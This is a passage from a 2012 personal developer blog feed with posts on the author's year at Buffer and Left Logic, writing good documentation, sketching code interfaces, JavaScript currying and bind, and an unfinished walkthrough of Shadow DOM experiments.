&lt;p&gt;As the uni year headed into exams I joined &lt;a href='//bufferapp.com'&gt;Buffer&lt;/a&gt; &amp;#8220;part-time&amp;#8221;, but worked almost full-time for them from April till August, including three weeks in baking-hot Tel Aviv. An amazing experience that taught me a lot about the world of startups, managing my own time and building a product. They moved to the States so it wasn&amp;#8217;t going to work out, but I&amp;#8217;m very happy (and grateful) for the opportunity to work with that very talented – not to mention hard working – &lt;a href='//joel.is'&gt;bunch&lt;/a&gt; &lt;a href='//leostartsup.com/'&gt;of&lt;/a&gt; &lt;a href='//tommoor.com/'&gt;guys&lt;/a&gt; and &lt;a href='//alyssaaldersley.com'&gt;girl&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id='appnet'&gt;App.net&lt;/h3&gt;

&lt;p&gt;After coming back from Tel Aviv I was as something of a loose end. Fortunately, App.net arrived on the scene, and I picked it up and ran with it, building &lt;a href='//app.phuu.net'&gt;the friend finder&lt;/a&gt; and &lt;a href='//twapp.phuu.net'&gt;the cross poster&lt;/a&gt;. Credit to Rich Cunningham and Ant Willaims (Multipackers both) for pushing me to do it, and to charge in particular. Both were a much greater success than I expected: approaching eight thousand people have found their friends, and around have 350 paid for Twapp to cross-post to Twitter.&lt;/p&gt;

&lt;p&gt;I made quite a &lt;a href='/2012/09/13/i-messed-up-i-am-sorry.html'&gt;screw-up&lt;/a&gt; however, posting to a number of my customer&amp;#8217;s Twitter accounts without them knowing. While some people were angry, after I&amp;#8217;d apologised personally and profusely most were absolutely fine with it.&lt;/p&gt;

&lt;h3 id='brighton'&gt;Brighton&lt;/h3&gt;

&lt;p&gt;Around the same time I headed down to Brighton for my first conferences, &lt;a href='//www.reasonstobecreative.com/'&gt;Reasons to be Creative&lt;/a&gt; and &lt;a href='//2012.dconstruct.org/'&gt;dConstruct&lt;/a&gt;, and for one of the most incredible weeks of my life.&lt;/p&gt;

&lt;p&gt;I was fortunate enought to meet many people who I hold in very high regard, including the bemohawked Remy Sharp. I was preparing to head back to university, but he offered me a job. I accepted, and now here I am!&lt;/p&gt;

&lt;p&gt;I have a lot to say about that experience and how I feel about it, but perhaps this isn&amp;#8217;t the time. Suffice it to say, I&amp;#8217;m in my dream job and having a truly great time.&lt;/p&gt;

&lt;h3 id='the_future'&gt;The future&lt;/h3&gt;

&lt;p&gt;I&amp;#8217;m looking forward to an incredible 2013. I have the option to go back to uni in September but it&amp;#8217;s not looking likely, because right now I&amp;#8217;m having a blast working with the lovely family that is &lt;a href='//leftlogic.com'&gt;Left Logic&lt;/a&gt; doing what I enjoy most: building shit.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Please</title>
   <link href="http://phuu.net/2012/12/15/documentation.html"/>
   <updated>2012-12-15T01:00:00+00:00</updated>
   <id>http://phuu.net/2012/12/15/documentation</id>
   <content type="html">&lt;p&gt;Please, please, please, write good documentation.&lt;/p&gt;

&lt;p&gt;Take time, think about it and use English correctly. Form sentences.&lt;/p&gt;

&lt;p&gt;Put yourself in the other person&amp;#8217;s shoes, be empathetic and give a damn about how you come across.&lt;/p&gt;

&lt;p&gt;Read it back, try it out.&lt;/p&gt;

&lt;p&gt;Write good documentation.&lt;/p&gt;

&lt;p&gt;Please.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Code Sketching</title>
   <link href="http://phuu.net/2012/11/17/code-sketching.html"/>
   <updated>2012-11-17T19:00:00+00:00</updated>
   <id>http://phuu.net/2012/11/17/code-sketching</id>
   <content type="html">&lt;p&gt;Here&amp;#8217;s a technique I like to think of as sketching in code, the end goal of which is a well designed, &lt;strong&gt;usable interface&lt;/strong&gt; for your code.&lt;/p&gt;

&lt;p&gt;For example, an interface for a publisher/subcriber module. I&amp;#8217;ve iterated over a few ways of doing it:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
pubsub.trigger('some_event', true, 'abc');

pubsub.on('some_event', function (event, thing, name) {
  // ... do stuff
});

// ...

pubsub.emit('some_event', true, 'abc');

pubsub.on('some_event', function (thing, name) {
  // ... do stuff
});

// ...

pubsub.pub('some_event', {
  example: true
});

pubsub.sub('some_event', function (data) {
  // ... do stuff
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&amp;#8217;ll also sketch out data structures:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var client_to_server_payload = {
  data: {
    // ...
  },
  meta: {
    session_token: 'abc123xyz789',
    transaction_token: 'a1b2c3x4y5z6',
    action: 'blow_stuff_up'
  }
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Often the first idea I come up with is not the best I could do and I find I can iterate quickly on an idea towards a better solution by sketching. I&amp;#8217;m not worried about implementation; if anything, I&amp;#8217;m trying to find difficulties and problems that might crop up down the line, and avoid them before I start coding.&lt;/p&gt;

&lt;h3 id='sketching'&gt;Sketching?&lt;/h3&gt;

&lt;p&gt;Before spending time on a feature, I find it helpful to think through different ways something could work, and how it could be interacted with.&lt;/p&gt;

&lt;p&gt;Like you might with a pen &amp;amp; paper, I open up a new, blank file and write little snippets. Sometimes I save them, often I throw them away. The goal is not working code; it&amp;#8217;s to get through as many bad ideas as fast as possible until I have a good one.&lt;/p&gt;

&lt;h3 id='developer_ux'&gt;Developer UX&lt;/h3&gt;

&lt;p&gt;For me, the goal of sketching is to figure out the ideal way I&amp;#8217;d like to interact with the module or service. ‘API’ is mostly taken to mean a way of interacting with a web service, but it actually applies to any kind of module, library or service, and for me the most important letter is the ‘I’ – interface.&lt;/p&gt;

&lt;p&gt;I think that, in much the same way as a designer spends time reasoning and protoyping about how a user would interact with a visual interface, it&amp;#8217;s important for me to spend time ensuring that the code interface is as intuitive, consistent and clear as possible.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s a few things I try to think about:&lt;/p&gt;

&lt;h3 id='guessability'&gt;Guessability&lt;/h3&gt;

&lt;p&gt;If I know how the interface works in one place, can I guess how it works elsewhere?&lt;/p&gt;

&lt;p&gt;For example, if an object is setup using an &lt;code&gt;init&lt;/code&gt; method, others in the same system shouldn&amp;#8217;t use a &lt;code&gt;setup&lt;/code&gt; method.&lt;/p&gt;

&lt;h3 id='arguments__consistency'&gt;Arguments &amp;amp; consistency&lt;/h3&gt;

&lt;p&gt;Do I have to remember argument order?&lt;/p&gt;

&lt;p&gt;If a function takes many arguments, it&amp;#8217;s generally a bad idea to require them in a specific order. It&amp;#8217;s better to take one argument, an object, and pick some sensible defaults. This is so that the user of my code interface only needs to supply the options that make a difference.&lt;/p&gt;

&lt;p&gt;If I&amp;#8217;m going to take multiple arguments (and in many cases it&amp;#8217;s neccessary and useful), it&amp;#8217;s vitally important to be consistent.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;PHP, for example, gets this totally wrong: &lt;code&gt;array_filter($input, $callback)&lt;/code&gt; and &lt;code&gt;array_map($callback, $input)&lt;/code&gt;?! &lt;code&gt;strpos($haystack, $needle)&lt;/code&gt; and &lt;code&gt;array_search($needle, $haystack)&lt;/code&gt;?!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id='data'&gt;Data&lt;/h3&gt;

&lt;p&gt;How is the data represented by the consumer, and how does that relate to its storage?&lt;/p&gt;

&lt;p&gt;I try to mockup ways real data could be stored so that it&amp;#8217;s logical and also easy to use, but also makes sense from a data storage point of view. Some things to think about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;How does my data structure map to a database? Does it need transforming?&lt;/li&gt;

&lt;li&gt;Once it&amp;#8217;s in a database, what will I need to query against?&lt;/li&gt;

&lt;li&gt;What kind of operations will I be performing on the data ?&lt;/li&gt;

&lt;li&gt;Do I need to use a relational database – will a simple key/value store will do?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id='designed_code'&gt;Designed code&lt;/h3&gt;

&lt;p&gt;The overall goal is well designed code. It&amp;#8217;s very similar to how designers craft interfaces and user experiences; I&amp;#8217;m building something for myself and other developers to use, so I enjoy taking the time to craft a great code interface.&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>useful js: curry and bind</title>
   <link href="http://phuu.net/2012/11/16/useful-js-currying-and-bind.html"/>
   <updated>2012-11-16T22:00:00+00:00</updated>
   <id>http://phuu.net/2012/11/16/useful-js-currying-and-bind</id>
   <content type="html">&lt;h3 id='currying'&gt;Currying&lt;/h3&gt;

&lt;p&gt;I like curry. But I think I like currying even more. So what is it?&lt;/p&gt;

&lt;p&gt;Currying, also known as &amp;#8216;partial function application&amp;#8217;, is complicated to explain in just words, but I&amp;#8217;ll give it a go:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Partial function application is fixing a set of arguments to a function, producing another function to be used later.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The new function that&amp;#8217;s produced is like a cloned version of your first function, except that some arguments are set and can&amp;#8217;t be changed. You set the arguments when you &amp;#8216;curry&amp;#8217; the function.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s an example in psuedo-javascript:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var add = function (a, b) {
  return a + b;
}

var add_ten = curry(add, 10)

var fifteen = add_ten(5)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we&amp;#8217;re currying the &lt;code&gt;add&lt;/code&gt; function to produce a new function, &lt;code&gt;add_ten&lt;/code&gt;, that is actually our &lt;code&gt;add&lt;/code&gt; function but with the first argument fixed at 10. When you call &lt;code&gt;add_ten&lt;/code&gt; you supply the second argument to &lt;code&gt;add&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Neat, huh?&lt;/p&gt;

&lt;h3 id='yup_but_how_does_it_work'&gt;Yup, but how does it work?&lt;/h3&gt;

&lt;p&gt;Well, let&amp;#8217;s create an implementation of &lt;code&gt;curry&lt;/code&gt; from scratch.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If you haven&amp;#8217;t already, it&amp;#8217;s worth reading my &lt;a href='/2012/11/02/javascript-function-call-and-function-apply.html'&gt;call &amp;amp; apply&lt;/a&gt; post becuase this example will make heavy use of them both.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;What we&amp;#8217;re going to do it make a really dumb version, then tweak and optimise as we go. We&amp;#8217;ll start simply by making the example above work.&lt;/p&gt;

&lt;p&gt;Here it is in proper-javascript, with added (bad) curry sauce:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var bad_curry = function (fn, first_argument) {
  return function (second_argument) {
    return fn(first_argument, second_argument);
  };
};

var add = function (a, b) {
  return a + b;
};

var add_ten = bad_curry(add, 10);

var fifteen = add_ten(5);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;fifteen&lt;/code&gt; is 15. Nice. But that &lt;code&gt;bad_curry&lt;/code&gt; function is pretty useless for anything other than a 2 argument function. Let&amp;#8217;s see what we can do.&lt;/p&gt;

&lt;h3 id='infinite_arguments'&gt;Infinite arguments&lt;/h3&gt;

&lt;p&gt;So here&amp;#8217;s a new curry function that supports any number of arguments.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var meh_curry = function () {
  var fixed_args = [].slice.call(arguments);
  var fn = fixed_args.shift();
  return function () {
    var new_args = [].slice.call(arguments);
    var all_args = fixed_args.concat(new_args);
    return fn.apply(null, all_args);
  };
};

var add_four_things = function (a, b, c, d) {
  return a + b + c + d;
};

var add_5_and_6 = meh_curry(add_four_things, 5, 6);

var fourteen = add_5_and_6(2, 1);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chyeah. Here&amp;#8217;s the explanation:&lt;/p&gt;

&lt;p&gt;In case you didn&amp;#8217;t know, &lt;code&gt;[].slice.call(arguments)&lt;/code&gt; turns &lt;code&gt;arguments&lt;/code&gt; into an array (cos it&amp;#8217;s not one).&lt;/p&gt;

&lt;p&gt;&lt;code&gt;meh_curry&lt;/code&gt; uses that a couple of times: first, it stores the fixed arguments, and extracts the function we are currying from the front of the array (by &lt;code&gt;shift&lt;/code&gt;&amp;#8216;n it).&lt;/p&gt;

&lt;p&gt;It then returns a new function that concatenates the fixed arguments to any arguments it recieves, and then runs the initial function using &lt;code&gt;apply&lt;/code&gt;, passing an array of all the arguments &lt;code&gt;concat&lt;/code&gt;&amp;#8216;d together. Nice!&lt;/p&gt;

&lt;p&gt;But, I think we can do a little bit better.&lt;/p&gt;

&lt;h3 id='ninjafy'&gt;Ninjafy&lt;/h3&gt;

&lt;p&gt;I&amp;#8217;ve cut the above &lt;code&gt;meh_curry&lt;/code&gt; into a flavoursome alternative, &lt;code&gt;curry&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var curry = function (fn) {
  var slice = [].slice,
      args = slice.call(arguments, 1);
  return function () {
    return fn.apply(this, args.concat(slice.call(arguments)));
  };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&amp;#8217;ll leave it to you to see what I&amp;#8217;ve done – if you have any questions then just ask in the comments.&lt;/p&gt;

&lt;p&gt;By the way: ‘currying’ and partial function application are &lt;em&gt;technically&lt;/em&gt; not the same thing, but the difference is relatively insignificant.&lt;/p&gt;

&lt;h3 id='bind'&gt;Bind&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;bind&lt;/code&gt; is really cool, let&amp;#8217;s check it out&amp;#8230;&lt;/p&gt;

&lt;p&gt;Javascript&amp;#8217;s real name is ECMAScript, but since that&amp;#8217;s almost a skin condition, we mostly stick with Javascript. Most of the JS you write conforms to the ECMAScript3 specification (ES3). However, ES5, the new specification (available in most browsers these days and polyfillable where not found), adds some rather useful things to the language. One of these is &lt;code&gt;bind&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;bind&lt;/code&gt; is your friendly neighbourhood currier. You can call &lt;code&gt;bind&lt;/code&gt; on any function (where ES5 is available) to specify what the value of &lt;code&gt;this&lt;/code&gt; should be when the function is called. It doesn&amp;#8217;t actually call the function (unlike &lt;code&gt;call&lt;/code&gt; and &lt;code&gt;apply&lt;/code&gt;): it returns a new function where &lt;code&gt;this&lt;/code&gt; is bound to whatever you pass into &lt;code&gt;bind&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Why might you want to do that? Well, consider this:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var person = {
  name: 'Example Person',
  greeter: function () {
    return this.name + ' says: Hello!';
  }
};

var tom = {
  name: 'Tom'
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In that (contrived) example, &lt;code&gt;person&lt;/code&gt; has a &lt;code&gt;greet&lt;/code&gt; method that references &lt;code&gt;this.name&lt;/code&gt;. If we just called &lt;code&gt;person.greeter&lt;/code&gt; we&amp;#8217;d get &amp;#8220;Example Person says: Hello!&amp;#8221; back. That&amp;#8217;s ok, but we can use &lt;code&gt;bind&lt;/code&gt; to have &lt;code&gt;Tom&lt;/code&gt; do the greeting:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var tom_greeter = person.greeter.bind(tom);
console.log(tom_greeter()); // Tom says: Hello!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='binding__currying'&gt;Binding &amp;amp; currying&lt;/h3&gt;

&lt;p&gt;Bind does more than that too. It can actually be used for the same kind of function currying that we were doing above, because it will also pass any further arguments you give it (after the value of &lt;code&gt;this&lt;/code&gt;) to the function you are currying. Like this:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var person = {
  name: 'Example Person',
  greet: function (salutation, thing) {
    return this.name + ' says: ' + salutation + ', ' + thing + '!';
  }
};

var tom = {
  name: 'Tom'
};

var tom_says_hi = person.greet.bind(tom, 'Hi');
    
console.log(tom_says_hi('Jim')); // Tom says: Hello, Jim!
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='diy_curry_binder'&gt;DIY curry binder!&lt;/h3&gt;

&lt;p&gt;So bind&amp;#8217;s cool. But the best way to learn how something works is to build it, so let&amp;#8217;s make our own version of &lt;code&gt;bind&lt;/code&gt; based on &lt;code&gt;curry&lt;/code&gt; from earlier.&lt;/p&gt;

&lt;p&gt;We&amp;#8217;ll take the function to be curried as our first argument, the value of &lt;code&gt;this&lt;/code&gt; as our second, and then fix all the rest of the arguments.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var curry_bind = function (fn, that) {
  var slice = [].slice,
      args = slice.call(arguments, 2);
  return function () {
    return fn.apply(that, args.concat(slice.call(arguments)));
  };
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Woopee! We can use it like this:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var person = {
  name: 'Example Person',
  greet: function (salutation, thing) {
    return this.name + ' says: ' + salutation + ', ' + thing + '!';
  }
};

var tom = {
  name: 'Tom'
};

var tom_says_sup = curry_bind(person.greet, tom, 'Sup');
    
console.log(tom_says_sup('dawg?'));
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='real_examples'&gt;Real examples&lt;/h3&gt;

&lt;p&gt;So where would you use these in real life?&lt;/p&gt;

&lt;h3 id='settimeout'&gt;setTimeout&lt;/h3&gt;

&lt;p&gt;This pattern is pretty common:&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
your_thing.wait_a_bit = function () {
  var that = this;
  setTimeout(function () {
    that.do_something();
  }, 1000)
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;But dayum, it&amp;#8217;s ugly. How about this?&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
your_thing.wait_a_bit = function () {
  setTimeout(this.do_something.bind(this), 1000);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ah, much nicer.&lt;/p&gt;

&lt;h3 id='pubsub'&gt;pubsub&lt;/h3&gt;

&lt;p&gt;If you&amp;#8217;re using a pubsub system, you may want your event-handling callbacks to be to bound to the correct &lt;code&gt;this&lt;/code&gt;. Some pubsub systems support doing so, but here&amp;#8217;s how make sure of it, using bind.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
your_thing.listen = function (pubsub) {
  this.do_something();
  pubsub.subscribe('some:event', function (data) {
    this.do_something_after_event(data);
  }.bind(this));
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='and_were_done'&gt;And we&amp;#8217;re done&lt;/h3&gt;

&lt;p&gt;Currying is really useful tool to have in your arsenal, allowing you to write much cleaner, more expressive code. And since bind can be found in all modern browsers (and can be added to older browsers), so why not try it out?&lt;/p&gt;

&lt;p&gt;Once again, thanks for reading, and don&amp;#8217;t forget to share this article if you found it useful!&lt;/p&gt;</content>
 </entry>
 
 <entry>
   <title>Components &amp; the Shadow DOM</title>
   <link href="http://phuu.net/2012/11/13/web-components-and-the-shadow-dom.html"/>
   <updated>2012-11-13T22:00:00+00:00</updated>
   <id>http://phuu.net/2012/11/13/web-components-and-the-shadow-dom</id>
   <content type="html">&lt;p&gt;Recently I heard a few people mention the Shadow DOM. It sounded cool, so I decided to explore it: turns out that it&amp;#8217;s part of a &amp;#8216;component&amp;#8217; model for the web that&amp;#8217;s really rather exciting.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: for these examples, you need to be using Chrome Canary (yep, sorry. Only Webkit has this implemented). It&amp;#8217;s also a good idea to switch on Shadow DOM inspection – click the cog in the bottom right of Carnary&amp;#8217;s dev tools, and tick the &amp;#8216;Show Shadow DOM&amp;#8217; box.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id='initial_reading'&gt;Initial reading&lt;/h3&gt;

&lt;p&gt;Although I&amp;#8217;d heard about it I knew very little about the Shadow DOM, so, first, I did some research.&lt;/p&gt;

&lt;p&gt;I started by reading through the &lt;a href='http://www.w3.org/TR/2012/WD-shadow-dom-20121016/'&gt;W3C&amp;#8217;s spec&lt;/a&gt;, which is a little dense but readable. The &lt;a href='http://www.w3.org/TR/2012/WD-shadow-dom-20121016/#shadow-dom-subtrees'&gt;Shadow DOM Subtrees&lt;/a&gt; section was interesting and helpful, as was the final &lt;a href='http://www.w3.org/TR/2012/WD-shadow-dom-20121016/#shadow-dom-example'&gt;News Widget example&lt;/a&gt;. Although the examples are written in a humorous style, I found it could actually obscure what the author means. This &lt;a href='https://dvcs.w3.org/hg/webcomponents/raw-file/tip/samples/contacts-widget.html'&gt;Contacts Widget&lt;/a&gt; example was also useful.&lt;/p&gt;

&lt;p&gt;Roman Liutikov&amp;#8217;s &lt;a href='http://blog.romanliutikov.com/coding/discover-the-dark-side-with-shadow-dom/'&gt;Shadow DOM article&lt;/a&gt; was helpful in getting a basic understanding past the W3C spec, in part thanks to some tasty diagrams, and I found also found Dimitri Glazkov&amp;#8217;s &lt;a href='http://glazkov.com/2011/01/14/what-the-heck-is-shadow-dom/'&gt;What the heck is Shadow DOM&lt;/a&gt; post useful. He&amp;#8217;s the editor of the spec, so should know what he&amp;#8217;s talking about!&lt;/p&gt;

&lt;p&gt;I was also pointed towards the &lt;a href='http://www.w3.org/TR/components-intro'&gt;Web Component&lt;/a&gt; intro that was very helpful for understanding where this is all going.&lt;/p&gt;

&lt;h3 id='what_i_learnt_from_reading'&gt;What I learnt from reading&amp;#8230;&lt;/h3&gt;

&lt;p&gt;The Shadow DOM is a secret society of people called Domonic&amp;#8230; oh no, sorry, that&amp;#8217;s&amp;#8230; uh&amp;#8230;&lt;/p&gt;

&lt;p&gt;The Shadow DOM is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;a method of establishing and maintaining functional boundaries between DOM subtrees and how these subtrees interact with each other within a document tree, thus enabling better functional encapsulation within DOM.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For non-robots like you and I, I&amp;#8217;ll give you my interpretation&amp;#8230;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The Shadow DOM allows us &lt;strong&gt;wrap DOM structures and behaviour into components&lt;/strong&gt;, so that complex interfaces &amp;amp; implementation can be &lt;strong&gt;abstracted or hidden&lt;/strong&gt; to assist the developer.&lt;/li&gt;

&lt;li&gt;The developer should be able to operate on a component (or &amp;#8216;widget&amp;#8217;) using a DOM API, without worring that doing so will break the component.&lt;/li&gt;

&lt;li&gt;The hidden DOM representation of the component is called the &lt;strong&gt;shadow tree&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, the HTML &lt;code&gt;video&lt;/code&gt; element. It&amp;#8217;s just such a component; the controls are just HTML and CSS, but if you inspect the element you&amp;#8217;ll only see the &lt;code&gt;video&lt;/code&gt; element itself and associated &lt;code&gt;sources&lt;/code&gt;. None of the controls.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;If you have Shadow DOM inspection on, you&amp;#8217;ll see &lt;code&gt;#shadow-root&lt;/code&gt;. That&amp;#8217;s the (normally hidden) link into Narnia&amp;#8230; er, the Shadow DOM.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You can add and remove &lt;code&gt;video&lt;/code&gt; components like you would any other page element, like a &lt;code&gt;div&lt;/code&gt;, inluding firing and listening for events, without needing to care how it works on the inside.&lt;/p&gt;

&lt;h3 id='whys_that_cool'&gt;Why&amp;#8217;s that cool?&lt;/h3&gt;

&lt;p&gt;As web authors, there&amp;#8217;s always been a problem writing widgets and components for other&amp;#8217;s pages: it&amp;#8217;s possible for something from the outside page to access the component in such a way that it may (acidentally or deliberately) prevent the component from working.&lt;/p&gt;

&lt;p&gt;The Shadow DOM aspect of the component model means you can encapsulate the functionality of a widget so that it is (mostly) inaccessible from outside.&lt;/p&gt;

&lt;p&gt;A simple example is that, by default, styles from the surrounding page do not apply the shadow tree, so you can be (reasonably) sure your components will look the same everywhere.&lt;/p&gt;

&lt;p&gt;So, with the Shadow DOM, it&amp;#8217;s possible to create our own components, and hide the interface and behaviour in just the same way as the &lt;code&gt;video&lt;/code&gt; element, exposing only the methods and events needed to make the component useful.&lt;/p&gt;

&lt;h3 id='ooh_tell_me_more'&gt;Ooh, tell me more&amp;#8230;&lt;/h3&gt;

&lt;p&gt;First, let me back up. What&amp;#8217;s actually going on inside? How&amp;#8217;d you &amp;#8216;do&amp;#8217; Shadow DOM?&lt;/p&gt;

&lt;p&gt;When you use the Shadow DOM, you attach a &lt;strong&gt;shadow DOM tree&lt;/strong&gt; to an &lt;strong&gt;existing DOM tree&lt;/strong&gt;. Essentially you&amp;#8217;re merging existing DOM structure with new, hidden stuff, to provide exciting new functionality. Your new, shadow structure is used displayed instead of the existing tree, but the original DOM is not removed.&lt;/p&gt;

&lt;p&gt;This means you can &lt;strong&gt;use existing data in the page&lt;/strong&gt; by utilising nifty &lt;strong&gt;&amp;#8216;insertion points&amp;#8217;&lt;/strong&gt; that specify &lt;strong&gt;what&lt;/strong&gt; data will be put &lt;strong&gt;where&lt;/strong&gt; in your shadow tree. This is done with a new element. Meet &lt;code&gt;&amp;lt;content&amp;gt;&lt;/code&gt; (well, later).&lt;/p&gt;

&lt;h3 id='so_whats_it_all_for'&gt;So what&amp;#8217;s it all for?&lt;/h3&gt;

&lt;p&gt;What I&amp;#8217;ve described above is &lt;strong&gt;imperative&lt;/strong&gt; creation of Shadow DOM, attached to regular DOM using Javascript.&lt;/p&gt;

&lt;p&gt;But why do we have to use Javascript? This is really HTML (well, DOM) after all: can&amp;#8217;t we do it there?&lt;/p&gt;

&lt;p&gt;Why yes, how perceptive of you. The Shadow DOM forms the basis of several new bit of functionality, and new elements, so we can do most of this stuff declaratively. Meet:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;templates: &lt;code&gt;&amp;lt;template&amp;gt;&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;decorators: &lt;code&gt;&amp;lt;decorator&amp;gt;&lt;/code&gt;&lt;/li&gt;

&lt;li&gt;custom elements: &lt;code&gt;&amp;lt;element&amp;gt;&lt;/code&gt; (an HTMLElementElement!)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Together, they afford us the opportunity to declaratively create things that exist in the Shadow DOM!&lt;/p&gt;

&lt;h3 id='experimentation'&gt;Experimentation&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;(or, how did I find this out?)&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;btw:&lt;/strong&gt; Much of this before writing the above – it was just me messing around.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Since my goal was to learn about the Shadow DOM and all the new functionality so that I could start writing my own components, I started fiddling.&lt;/p&gt;

&lt;p&gt;The first thing I did was steal and rewrite the &lt;a href='http://www.w3.org/TR/shadow-dom/#shadow-dom-example'&gt;News Widget&lt;/a&gt; example. I often find tinkering with working examples is a great way to get an idea of what does what, and it means that if something breaks you can always get back to a working version.&lt;/p&gt;

&lt;p&gt;Here&amp;#8217;s how it looks:&lt;/p&gt;

&lt;p&gt;&lt;img alt='My first experiment' src='http://i.phuu.net/KcXQ/Screen%20Shot%202012-11-03%20at%2015.39.35.png' /&gt;&lt;/p&gt;

&lt;p&gt;Check out the &lt;a href='http://jsbin.com/ubamof/2'&gt;working version&lt;/a&gt; (remember, Canary plz).&lt;/p&gt;

&lt;h3 id='whats_it_doing'&gt;What&amp;#8217;s it doing?&lt;/h3&gt;

&lt;p&gt;On the page we have a unordered list of story &amp;#8216;headlines&amp;#8217;, each a link to the story with a class of &lt;code&gt;stories&lt;/code&gt;. The list will become a widget!&lt;/p&gt;

&lt;p&gt;First, it finds all &lt;code&gt;ul&lt;/code&gt; elements with a class of &lt;code&gt;stories&lt;/code&gt;, iterates through them and runs &lt;code&gt;shadowify&lt;/code&gt;, passing each list element in turn.&lt;/p&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
document.addEventListener('DOMContentLoaded',
function () {
  var lists = document.querySelectorAll('ul.stories');
  [].forEach.call(lists, shadowify);
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id='shadowify'&gt;shadowify&lt;/h3&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var shadowify = function (list) {
  var root = new ShadowRoot(list);
  root.applyAuthorStyles = true;
  root.appendChild(
    groupify('breaking', '.breaking')
  );
  root.appendChild(
    groupify('not-so-breaking', '.not-so-breaking')
  );
  root.appendChild(
    groupify('other', '')
  );
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;shadowify&lt;/code&gt; does a little bit of magic. It creates a new Shadow DOM element (called the &lt;strong&gt;shadow root&lt;/strong&gt;) using the &lt;code&gt;new ShadowRoot&lt;/code&gt; constructor.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Communication on the W3C public-webapps mailing list suggests that this will change very soon to a different pattern using a &lt;code&gt;createShadowRoot()&lt;/code&gt;. Such is life, living on the edge.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;code&gt;root.applyAuthorStyles&lt;/code&gt; allows styles from the current page to be applied to children of the shadow root. By default, they&amp;#8217;re not applied.&lt;/p&gt;

&lt;p&gt;We then append three child nodes to the root, which are returned from the &lt;code&gt;groupify&lt;/code&gt; function.&lt;/p&gt;

&lt;h3 id='groupify'&gt;groupify&lt;/h3&gt;
&lt;pre&gt;&lt;code data-language='javascript'&gt;
var groupify = function (className, contentSelector) {
  var group = document.createElement('div');
  group.className = className;
  group.innerHTML =
    '&amp;lt;ul&amp;gt;' +
    '  &amp;lt;content select=&quot;' + contentSelector + '&quot;&amp;gt;' +
    '  &amp;lt;/content&amp;gt;' + 
    '&amp;lt;/ul&amp;gt;';
  return group;
};
&lt;/code&gt;&lt;/pre&gt;
